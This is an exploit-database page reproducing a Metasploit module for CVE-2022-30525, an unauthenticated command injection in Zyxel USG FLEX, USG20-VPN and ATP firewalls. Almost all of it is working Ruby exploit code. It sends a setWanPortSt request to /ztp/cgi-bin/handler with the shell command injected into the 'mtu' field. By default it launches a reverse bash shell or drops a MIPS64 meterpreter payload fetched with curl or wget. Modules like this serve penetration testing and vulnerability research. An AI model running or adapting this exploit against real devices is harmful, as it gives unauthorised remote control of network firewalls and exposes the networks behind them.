Zyxel Firewall ZTP Unauthenticated Command Injection Exploit

[Kev]

This Metasploit module exploits CVE-2022-30525, an unauthenticated remote command injection vulnerability affecting Zyxel firewalls with zero touch provisioning (ZTP) support. By sending a malicious setWanPortSt command containing an mtu field with a crafted OS command to the /ztp/cgi-bin/handler page, an attacker can gain remote command execution as the nobody user. Affected Zyxel models are USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below, USG20-VPN and USG20W-VPN using firmware 5.21 and below, and ATP 100, 200, 500, 700, 800 using firmware 5.21 and below.

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
 
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zyxel Firewall ZTP Unauthenticated Command Injection',
        'Description' => %q{
          This module exploits CVE-2022-30525, an unauthenticated remote
          command injection vulnerability affecting Zyxel firewalls with zero
          touch provisioning (ZTP) support. By sending a malicious setWanPortSt
          command containing an mtu field with a crafted OS command to the
          /ztp/cgi-bin/handler page, an attacker can gain remote command execution
          as the nobody user.
 
          Affected Zyxel models are:
 
          * USG FLEX 50, 50W, 100W, 200, 500, 700 using firmware 5.21 and below
          * USG20-VPN and USG20W-VPN using firmware 5.21 and below
          * ATP 100, 200, 500, 700, 800 using firmware 5.21 and below
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2022-30525' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/']
        ],
        'DisclosureDate' => '2022-04-28',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_MIPS64,],
        'Privileged' => false,
        'Targets' => [
          [
            'Shell Dropper',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPS64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => [ 'curl', 'wget' ],
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end
 
  # Checks the build date that is embedded in the landing page. If it finds a build
  # date older than April 20, 2022 then it will additionally check if the model is
  # a USG FLEX, USG20[w]?-VPN, or an ATP system. Command execution is blind so this
  # seems like a reasonable approach.
  def check
    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/'))
    unless res
      return CheckCode::Unknown('The target failed to respond to check.')
    end
 
    unless res.code == 200
      return CheckCode::Safe('Failed to retrieve /')
    end
 
    ver = res.body[/favicon\.ico\?v=(?<build_date>[0-9]{6,})/, :build_date]
    if ver.nil?
      return CheckCode::Safe('Could not extract a version number')
    end
 
    if ver[0..5].to_i < 220420
      model = res.get_html_document.xpath('//title').text
      if model.include?('USG FLEX') || model.include?('ATP') || (model.include?('USG20') && model.include?('-VPN'))
        return CheckCode::Appears("This was determined by the model and build date: #{model}, #{ver}")
      end
    end
 
    CheckCode::Safe("This determination is based on the build date string: #{ver}.")
  end
 
  def execute_command(cmd, _opts = {})
    handler_uri = normalize_uri(target_uri.path, '/ztp/cgi-bin/handler')
    print_status("Sending command to #{handler_uri}")
 
    # this is the POST data. exploit goes into the mtu field. technically, `data` is a usable vector too
    # but it's more involved.
    http_payload = {
      'command' => 'setWanPortSt',
      'proto' => 'dhcp',
      'port' => Rex::Text.rand_text_numeric(4).to_s,
      'vlan_tagged' => Rex::Text.rand_text_numeric(4).to_s,
      'vlanid' => Rex::Text.rand_text_numeric(4).to_s,
      'mtu' => ";#{cmd};",
      'data' => ''
    }
 
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => handler_uri,
      'headers' =>
      {
        'Content-Type' => 'application/json; charset=utf-8'
      },
      'data' => http_payload.to_json
    })
    # Successful exploitation can result in no response (connection being held open by a reverse shell)
    # or, if the command executes immediately, a response with a 503.
    if res && res.code != 503
      fail_with(Failure::UnexpectedReply, "The target replied with HTTP status #{res.code}. No reply was expected.")
    end
    print_good('Command successfully executed.')
  end
 
  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end
end
 
#  0day.today [2022-05-17]  #

 

Source